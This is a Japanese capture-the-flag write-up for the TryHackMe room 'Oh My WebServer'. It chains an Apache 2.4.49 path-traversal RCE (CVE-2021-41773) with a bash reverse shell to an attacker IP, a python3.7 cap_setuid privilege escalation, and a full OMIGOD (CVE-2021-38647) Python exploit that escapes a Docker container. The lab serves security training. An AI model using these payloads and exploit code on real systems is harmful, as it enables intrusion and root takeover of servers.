0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

はじめに

この記事は、TryHackMeのwriteupです。
RoomはOh My WebServer、(難易度)はMediumです。

このRoomでは、Apache 2.4.49の脆弱性(CVE-2021-41773)を用いたRCEの悪用やOMIGOD(CVE-2021-38647)という脆弱性を用いた認証バイパスを仲介とするDockerコンテナ内からの脱獄について学ぶことができます。

Recon

Port Scan

Scanned at 2026-06-15 00:45:26 JST for 12s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e0:d1:88:76:2a:93:79:d3:91:04:6d:25:16:0e:56:d4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMlfGBGWZkPg98VnvD+FVeesHsQwmtoJfMOMhifMjxD9AEluFQNVnoyxyQi5y9O2/AN/MO+l57li33lHiVjD1eglBjB3Lkzz3tpRJSmGn2Ug3jRypShkSJ9VkUVFElw8MXke62w3+9pi+S0Ub1DqcttGH8TqihiWvqJbJYnecqjdcka1uKPdPna0gleow9JiaAH3X4EMFdcXZDOGgnOaZId2mEXFDeNNYFZpS+EOcLgXaAp1NobUckE9NXvE73qw+pBNo69m3z4MG7/cJNIsQiFpm5yqgCKJGjhwGFp4zAMXOD23lj1g+iQlwrchwY5nBEHHae1PjQwLjwuWebjWR+bWPalPVYa4d8+15TjjgV8VW/Rac3rTX+A/buyVxUSMhkBtn7fQ2sLoMPPn7vRDo3ggGl5IZaYIvSYRDk9nadsZk+YKUCSgFf97z0PK278vbrPwjJTyyScAnjvs+oLnD/bAdja4uwOOS2CHehjzipVmWf7zR3srIfjZQ4aAUmeh8=
|   256 91:18:5c:2c:5e:f8:99:3c:9a:1f:04:24:30:0e:aa:9b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLf6FvNwGNtpra24lyJ4YWPqB8olwPXhKdr6gSW6Dc+oXdZJbQPtpD7cph3nvR9sQQnTKGiG69XyGKh0ervYI1U=
|   256 d1:63:2a:36:dd:94:cf:3c:57:3e:8a:e8:85:00:ca:f6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEzBDIQu+cp4gApnTbTbtmqljyAcr/Za8goiY57VM+uq
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.49 ((Unix))
| http-methods: 
|   Supported Methods: POST OPTIONS HEAD GET TRACE
|_  Potentially risky methods: TRACE
|_http-title: Consult - Business Consultancy Agency Template | Home
|_http-server-header: Apache/2.4.49 (Unix)
|_http-favicon: Unknown favicon MD5: 02FD5D10B62C7BC5AD03F8B0F105323C
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

http://[target_ip]/にアクセスすると、以下のようなWebサイトが表示されます。

スクリーンショット_20260615_004723.png

Scanning

Gobuster

┌──(rikuxx㉿kali)-[~/tryhackme/Oh_My_WebServer]
└─$ gobuster dir -u http://[target_ip]/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://[target_ip]/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htaccess            (Status: 403) [Size: 199]
.hta                 (Status: 403) [Size: 199]
.htpasswd            (Status: 403) [Size: 199]
assets               (Status: 301) [Size: 235] [--> http://[target_ip]/assets/]
cgi-bin/             (Status: 403) [Size: 199]
index.html           (Status: 200) [Size: 57985]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

Dirsearch

┌──(rikuxx㉿kali)-[~]
└─$ dirsearch -u http://[target_ip]/                     
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/rikuxx/reports/http_[target_ip]/__26-06-15_00-49-11.txt

Target: http://[target_ip]/

[00:49:11] Starting: 
[00:49:14] 403 -  199B  - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd             
[00:49:14] 403 -  199B  - /%2e%2e//google.com                               
[00:49:17] 403 -  199B  - /.ht_wsr.txt                                      
[00:49:17] 403 -  199B  - /.htaccess.bak1                                   
[00:49:17] 403 -  199B  - /.htaccess.orig
[00:49:17] 403 -  199B  - /.htaccess.sample
[00:49:17] 403 -  199B  - /.htaccess.save
[00:49:17] 403 -  199B  - /.htaccess_extra                                  
[00:49:17] 403 -  199B  - /.htaccess_orig
[00:49:17] 403 -  199B  - /.htaccessBAK
[00:49:17] 403 -  199B  - /.htaccessOLD2
[00:49:17] 403 -  199B  - /.htaccess_sc                                     
[00:49:17] 403 -  199B  - /.htaccessOLD
[00:49:17] 403 -  199B  - /.httr-oauth                                      
[00:49:17] 403 -  199B  - /.htpasswd_test
[00:49:17] 403 -  199B  - /.htpasswds                                       
[00:49:17] 403 -  199B  - /.htm
[00:49:17] 403 -  199B  - /.html                                            
[00:49:36] 301 -  235B  - /assets  ->  http://[target_ip]/assets/          
[00:49:36] 200 -  404B  - /assets/                                          
[00:49:39] 403 -  199B  - /cgi-bin/                                         
[00:49:39] 500 -  528B  - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[00:49:39] 500 -  528B  - /cgi-bin/printenv                                 
[00:49:39] 500 -  528B  - /cgi-bin/test-cgi                                 
                                                                             
Task Completed   

このことから、もしかしたら、/cgi-bin/test-cgiからRCEできるかもしれません。実際に疎通確認してみます。

┌──(rikuxx㉿kali)-[~/tryhackme/Oh_My_WebServer]
└─$ curl -s http://[target_ip]/cgi-bin/test-cgi                                                                             
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator at 
 you@example.com to inform them of the time this error occurred,
 and the actions you performed just before this error.</p>
<p>More information about this error may be available
in the server error log.</p>
</body></html>

おそらくですが、以下のwriteupからShellShock脆弱性があるかもしれないと仮定しました。

Exploitation

以下の脆弱性をもとにしました。

そこで、以下のようなcurlコマンドを叩くと、実際にidコマンドが実行され、OSコマンドインジェクションが成り立っていることがわかります。

┌──(rikuxx㉿kali)-[~/tryhackme/Oh_My_WebServer]
└─$ curl -s --data "echo; id" "http://[target_ip]/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
uid=1(daemon) gid=1(daemon) groups=1(daemon)

リバースシェルをします。

  • 攻撃者側
┌──(rikuxx㉿kali)-[~/tryhackme/Oh_My_WebServer]
└─$ curl -s --data "echo; bash -c 'bash -i >& /dev/tcp/[MY_IP]/1234 0>&1'" "http://[target_ip]/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh" 
  • リッスン側
┌──(rikuxx㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.141.167] from (UNKNOWN) [10.48.157.80] 36768
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
daemon@4a70924bafa0:/bin$ 

このようにリバースシェルを張ることに成功しました。

ここでシェルアップグレードを行います。

python3 -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalation

SUID, Getcapから権限昇格できないかを調べます。

daemon@4a70924bafa0:/$ find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/local/apache2/bin/suexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign

daemon@4a70924bafa0:/$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/usr/bin/python3.7 = cap_setuid+ep

上記の結果から python3.7cap_setuid+ep という強力な権限(Capability)が付与されている状態になっています。

/usr/bin/python3.7 = cap_setuid+ep

このようなことから、/usr/bin/python3.7を使用するときに、/bin/shが起動できれば権限昇格できるかもしれません。

ep のそれぞれの意味

p (Permitted:許可)

  • 特権を持つことを許されている状態です

e (Effective:有効)

  • 特権が今すぐ使える(有効化されている)状態です

また、通常、一般ユーザー(daemon)は自分以外のユーザー(特にroot)に成り代わることはできませんが、この設定があるおかげで、Pythonを通じて自身のユーザーID(UID)を強制的に 0root)に変更することができますかもしれません。

実際に実行すると、コンテナ内の権限昇格に成功しました。

daemon@4a70924bafa0:/$ python3.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
<c 'import os; os.setuid(0); os.system("/bin/bash")'
root@4a70924bafa0:/# 

/rootディレクトリに、user.txtがあるのでユーザーフラグを取得することができます。

root@4a70924bafa0:/# cd root
cd root
root@4a70924bafa0:/root# ls
ls
user.txt
root@4a70924bafa0:/root# cat user.txt
cat user.txt
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXX}

What is the user flag?
Answer: THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXX}

Docker Container Escape

routeコマンドから別で接続された外部IPを探索したところ、172.17.0.0というIPアドレスがあるようです。

root@4a70924bafa0:/# ip route
ip route
bash: ip: command not found
root@4a70924bafa0:/# route -n
route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         172.17.0.1      0.0.0.0         UG    0      0        0 eth0
172.17.0.0      0.0.0.0         255.255.0.0     U     0      0        0 eth0
root@4a70924bafa0:/# 

以下のPythonスクリプトを使用し、簡易的なポートスキャンを行います。

python3 -c '
import socket
target = "172.17.0.1"
print(f"Scanning {target}...")
for port in [22, 80, 443, 3306, 5000, 5984, 6379, 8000, 8080, 9000, 2222]:  # よくあるポート
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(0.2)
    if s.connect_ex((target, port)) == 0:
        print(f"  [+] Port {port} is OPEN")
    s.close()
print("Scan completed.")
'

実際に実行したところ、ポート2280空いていることはわかりますが、これでは進めようがなさそうです。

root@4a70924bafa0:/# python3 -c '
import socket
target = "172.17.0.1"
print(f"Scanning {target}...")
for port in [22, 80, 443, 3306, 5000, 5984, 6379, 8000, 8080, 9000, 2222]:  # よくあるポート
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(0.2)
    if s.connect_ex((target, port)) == 0:
        print(f"  [+] Port {port} is OPEN")
    s.close()
print("Scan completed.")
'python3 -c '
> import socket
> target = "172.17.0.1"
> print(f"Scanning {target}...")
<, 8000, 8080, 9000, 2222]:  # よくあるポート
>     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>     s.settimeout(0.2)
>     if s.connect_ex((target, port)) == 0:
>         print(f"  [+] Port {port} is OPEN")
>     s.close()
> print("Scan completed.")
> 
'
Scanning 172.17.0.1...
  [+] Port 22 is OPEN
  [+] Port 80 is OPEN
Scan completed.

そこで1〜10000番のフルポートスキャンを以下のコードで実行しました。

root@4a70924bafa0:/# python3 -c '
import socket
target = "172.17.0.1"
print("Scanning ports 1-10000...")
for port in range(1, 10000):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(0.01) # 高速化のためタイムアウトを短く設定
    if s.connect_ex((target, port)) == 0:
        print(f"  [+] Port {port} is OPEN")
    s.close()
print("Scan completed.")
'python3 -c '
> import socket
> target = "172.17.0.1"
> print("Scanning ports 1-10000...")
> for port in range(1, 10000):
>     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
<高速化のためタイムアウトを短く設定
>     if s.connect_ex((target, port)) == 0:
>         print(f"  [+] Port {port} is OPEN")
>     s.close()
> print("Scan completed.")
> 
'
Scanning ports 1-10000...
  [+] Port 22 is OPEN
  [+] Port 80 is OPEN
  [+] Port 5986 is OPEN
Scan completed.
root@4a70924bafa0:/# 

すると、ポート5986が空いていることがわかります。

つまり、このLinux環境(Ubuntu)のホストマシンで、「OMI(Open Management Infrastructure)」 という、Linux向けの管理サービスが動いているかもしれません。そして、そして、このOMIには、非常に深刻な脆弱性 「OMIGOD」(CVE-2021-38647) があるかもしれません。

この脆弱性は、「認証ヘッダーを完全に空(または削除)にしてリクエストを送ると、相手がroot権限でコマンドを実行してしまう」 という単純な認証バイパス(RCE)のことです。

以下のリポジトリに存在するomigod.pyのコードを利用します。

以下のようなスクリプトを対象コンテナ内に作成します。

cat << 'EOF' > /tmp/omigod_real.py
#!/usr/bin/python3

import argparse
import re
import requests
import urllib3
from xml.etree import ElementTree
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# SOAP payload from https://github.com/midoxnet/CVE-2021-38647
DATA = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema">
   <s:Header>
      <a:To>HTTP://192.168.1.1:5986/wsman/</a:To>
      <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
      <a:ReplyTo>
         <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
      </a:ReplyTo>
      <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
      <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
      <a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
      <w:OperationTimeout>PT1M30S</w:OperationTimeout>
      <w:Locale xml:lang="en-us" s:mustUnderstand="false" />
      <p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
      <w:OptionSet s:mustUnderstand="true" />
      <w:SelectorSet>
         <w:Selector Name="__cimnamespace">root/scx</w:Selector>
      </w:SelectorSet>
   </s:Header>
   <s:Body>
      <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
         <p:command>{}</p:command>
         <p:timeout>0</p:timeout>
      </p:ExecuteShellCommand_INPUT>
   </s:Body>
</s:Envelope>
"""

def exploit(target, command):
    headers = {'Content-Type': 'application/soap+xml;charset=UTF-8'}
    r = requests.post(f'https://{target}:5986/wsman', headers=headers, data=DATA.format(command), verify=False)
    output = re.search('<p:StdOut>(.*)</p:StdOut>', r.text)
    error = re.search('<p:StdErr>(.*)</p:StdErr>', r.text)
    if output:
        if output.group(1):
            print(output.group(1).rstrip('&#10;'))
    if error:
        if error.group(1):
            print(error.group(1).rstrip('&#10;'))

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-c', '--command', help='The command to run')
    args = parser.parse_args()

    exploit(args.target, args.command)
EOF

そして、以下のように実行することで、idコマンドを実行することに成功し、これは実質、コンテナ外のシェルへ到達していることを意味します。

root@4a70924bafa0:/tmp# python3 /tmp/omigod_real.py -t 172.17.0.1 -c "id"
python3 /tmp/omigod_real.py -t 172.17.0.1 -c "id"
uid=0(root) gid=0(root) groups=0(root)
root@4a70924bafa0:/tmp# 

/rootディレクトリにあるroot.txtからルートフラグを取得することができます。

root@4a70924bafa0:/tmp# python3 /tmp/omigod_real.py -t 172.17.0.1 -c "cat /root/root.txt"
<migod_real.py -t 172.17.0.1 -c "cat /root/root.txt"
THM{YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY}
root@4a70924bafa0:/tmp# 

What is the root flag?
Answer: THM{YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY}

以下のwriteupも参考にしました。

終わり

今回は、RCEを悪用を連鎖させた認証バイパスを仲介とするDockerコンテナ内から脱獄するラボについて解きました。 

RCEを使って、コンテナから脱獄する方法についてはなかなか斬新だなと思いました。結構、面白かったです。

Tips

RCE攻撃を用いたコンテナ脱出

今まで、k8sにおけるPod脱獄、実質、コンテナ脱獄について触れることがありました。しかし、それは、Podを作成を行えることが前提でした。

以下は自分が書いた記事になります。

今回は、また視点を変えて、RCEを攻撃チェーンとして連鎖させ、コンテナから脱獄する方法があります。

先ほどあったようなコンテナ内で、何かしらのRCEすることができる脆弱性を持ち、なおかつ、それを悪用できる場合です。他にも実例として、以下のようなこと挙げられます。

ただ、Pod脱獄に関してはRBAC権限によりリソース管理が甘かったりすることで、コンテナをエスケープされるのに対して、RCEを攻撃チェーンとして連鎖させ、コンテナから脱獄する方法に関しては、ただ単に、コンテナ内にある既知、もしくはゼロデイで発見されたRCEの脆弱性があるだけでコンテナエスケープが成立してしまいます。

このことから、コンテナにおけるリソース管理だけではなく、内部の脆弱なライブラリやアーキテクチャにも注意を払うべきであることがわかります。

 
ご参考になると幸いです。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?